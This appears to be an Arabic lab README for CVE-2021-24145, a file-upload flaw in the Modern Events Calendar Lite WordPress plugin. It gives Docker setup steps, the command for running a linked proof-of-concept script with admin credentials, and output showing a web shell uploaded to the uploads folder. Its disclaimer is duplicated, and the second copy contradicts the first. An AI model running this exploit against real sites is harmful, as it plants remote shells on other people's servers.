CVE-2021-24145

ثغرة رفع الملفات في ووردبريس، إضافة Modern Events Calendar Lite لووردبريس قبل الإصدار 5.16.5 https://nvd.nist.gov/vuln/detail/CVE-2021-24145

ترتيب التثبيت والتنفيذ

1. تثبيت ووردبريس

عند التثبيت، يرجى إعداد إعادة توجيه المنفذ في ملف docker-compose.yml.

 $ docker-compose up  

2. التثبيت الأولي لووردبريس وتثبيت الإضافة

انتقل إلى http://[عنوان خادم الويب]:المنفذ/ قم بالتثبيت الأساسي.
انتقل إلى [Plugins] -> [Add New] -> [Upload Plugin].
قم برفع وتثبيت modern-events-calendar-lite.5.16.2.zip.
فيما يلي شاشة تظهر اكتمال تثبيت الإضافة.
بعد اكتمال التثبيت، قم بتنشيط الإضافة.

3. PoC

python3 poc.py -T [URL] -P [PORT] -U [Path] -u [admin] -p [password]

 $python3 poc.py -T 172.30.1.48 -P 80 -U / -u 0ppr2s -p 123456

  ______     _______     ____   ___ ____  _      ____  _  _   _ _  _  ____
 / ___\ \   / / ____|   |___ \ / _ \___ \/ |    |___ \| || | / | || || ___|
| |    \ \ / /|  _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___  \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__   _| |__   _|__) |
 \____|  \_/  |_____|   |_____|\___/_____|_|    |_____|  |_| |_|  |_||____/

                * Wordpress Plugin Modern Events Calendar Lite RCE

                * @Hacker5preme




[+] تم المصادقة بنجاح!

[+] تم رفع الشيل إلى: http://172.30.1.48:80//wp-content/uploads/shell.php

المصدر

https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-24145

ملاحظات هامة

في حال استغلال الثغرة المذكورة أعلاه بطريقة غير قانونية، لن نتحمل المسؤولية القانونية.

إذا قمت باستغلال الثغرات المذكورة أعلاه بشكل غير قانوني، فلن تتحمل أي مسؤولية قانونية.

يجب تحديث إصدار docker إلى الأحدث.